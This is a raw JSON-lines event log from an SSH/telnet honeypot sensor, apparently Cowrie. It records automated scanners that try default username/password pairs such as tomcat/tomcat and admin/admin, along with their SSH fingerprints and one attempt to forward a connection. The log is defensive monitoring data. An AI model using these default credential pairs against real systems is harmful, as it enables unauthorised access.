{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:09:23.744661Z","src_ip":"193.151.144.93","session":"2779a65efd14","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"elasticsearch","password":"elasticsearch","message":"login attempt [elasticsearch/elasticsearch] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:09:24.249512Z","src_ip":"193.151.144.93","session":"2779a65efd14","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:09:25.419173Z","src_ip":"193.151.144.93","session":"2779a65efd14","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.151.144.93","src_port":43290,"dst_ip":"10.17.0.5","dst_port":22,"session":"2dc3846fc672","protocol":"ssh","message":"New connection: 193.151.144.93:43290 (10.17.0.5:22) [session: 2dc3846fc672]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:09:29.021606Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:09:29.028900Z","src_ip":"193.151.144.93","session":"2dc3846fc672","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:09:29.196655Z","src_ip":"193.151.144.93","session":"2dc3846fc672","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sonar","password":"sonar","message":"login attempt [sonar/sonar] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:09:29.703270Z","src_ip":"193.151.144.93","session":"2dc3846fc672","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:09:30.873989Z","src_ip":"193.151.144.93","session":"2dc3846fc672","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.151.144.93","src_port":46676,"dst_ip":"10.17.0.5","dst_port":22,"session":"1d2795656ca0","protocol":"ssh","message":"New connection: 193.151.144.93:46676 (10.17.0.5:22) [session: 1d2795656ca0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:09:34.460325Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:09:34.465156Z","src_ip":"193.151.144.93","session":"1d2795656ca0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:09:34.633240Z","src_ip":"193.151.144.93","session":"1d2795656ca0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"tomcat","password":"tomcat","message":"login attempt [tomcat/tomcat] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:09:35.139234Z","src_ip":"193.151.144.93","session":"1d2795656ca0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:09:36.310941Z","src_ip":"193.151.144.93","session":"1d2795656ca0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.151.144.93","src_port":46682,"dst_ip":"10.17.0.5","dst_port":22,"session":"25eae8c4ddfb","protocol":"ssh","message":"New connection: 193.151.144.93:46682 (10.17.0.5:22) [session: 25eae8c4ddfb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:09:40.075096Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:09:40.081224Z","src_ip":"193.151.144.93","session":"25eae8c4ddfb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:09:40.249274Z","src_ip":"193.151.144.93","session":"25eae8c4ddfb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"student","password":"student","message":"login attempt [student/student] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:09:40.733517Z","src_ip":"193.151.144.93","session":"25eae8c4ddfb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:09:41.898497Z","src_ip":"193.151.144.93","session":"25eae8c4ddfb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":54634,"dst_ip":"10.17.0.5","dst_port":22,"session":"ad4e741ed871","protocol":"ssh","message":"New connection: 87.251.64.176:54634 (10.17.0.5:22) [session: ad4e741ed871]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:09:42.590845Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:09:42.595738Z","src_ip":"87.251.64.176","session":"ad4e741ed871","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:09:42.690668Z","src_ip":"87.251.64.176","session":"ad4e741ed871","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:09:42.974346Z","src_ip":"87.251.64.176","session":"ad4e741ed871","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:09:43.070838Z","session":"ad4e741ed871","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:09:43.166260Z","src_ip":"87.251.64.176","session":"ad4e741ed871","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:09:43.315421Z","src_ip":"87.251.64.176","session":"ad4e741ed871","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.151.144.93","src_port":45242,"dst_ip":"10.17.0.5","dst_port":22,"session":"f36d76cd9c22","protocol":"ssh","message":"New connection: 193.151.144.93:45242 (10.17.0.5:22) [session: f36d76cd9c22]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:09:45.647679Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:09:45.653728Z","src_ip":"193.151.144.93","session":"f36d76cd9c22","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:09:45.823110Z","src_ip":"193.151.144.93","session":"f36d76cd9c22","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"demo","password":"demo","message":"login attempt [demo/demo] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:09:46.336208Z","src_ip":"193.151.144.93","session":"f36d76cd9c22","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"79.139.59.21","src_port":33386,"dst_ip":"159.203.135.109","dst_port":23,"session":"9470187f6f6b","protocol":"telnet","message":"New connection: 79.139.59.21:33386 (159.203.135.109:23) [session: 9470187f6f6b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:09:46.982844Z"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:09:47.507179Z","src_ip":"193.151.144.93","session":"f36d76cd9c22","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.151.144.93","src_port":40192,"dst_ip":"10.17.0.5","dst_port":22,"session":"c3e0a8a0d816","protocol":"ssh","message":"New connection: 193.151.144.93:40192 (10.17.0.5:22) [session: c3e0a8a0d816]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:09:51.125512Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:09:51.130447Z","src_ip":"193.151.144.93","session":"c3e0a8a0d816","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:09:51.297343Z","src_ip":"193.151.144.93","session":"c3e0a8a0d816","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test2","password":"test2","message":"login attempt [test2/test2] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:09:51.850036Z","src_ip":"193.151.144.93","session":"c3e0a8a0d816","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:09:53.020530Z","src_ip":"193.151.144.93","session":"c3e0a8a0d816","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":51934,"dst_ip":"159.203.135.109","dst_port":23,"session":"6c599d9cb158","protocol":"telnet","message":"New connection: 69.4.83.194:51934 (159.203.135.109:23) [session: 6c599d9cb158]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:09:55.841146Z"}
{"eventid":"cowrie.session.connect","src_ip":"193.151.144.93","src_port":40194,"dst_ip":"10.17.0.5","dst_port":22,"session":"abf4420c6e30","protocol":"ssh","message":"New connection: 193.151.144.93:40194 (10.17.0.5:22) [session: abf4420c6e30]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:09:56.686545Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:09:56.691931Z","src_ip":"193.151.144.93","session":"abf4420c6e30","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:09:56.861893Z","src_ip":"193.151.144.93","session":"abf4420c6e30","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"123456789","message":"login attempt [ubuntu/123456789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:09:57.367938Z","src_ip":"193.151.144.93","session":"abf4420c6e30","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.6","message":"Connection lost after 3.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:10:00.285790Z","src_ip":"193.151.144.93","session":"abf4420c6e30","protocol":"ssh"}
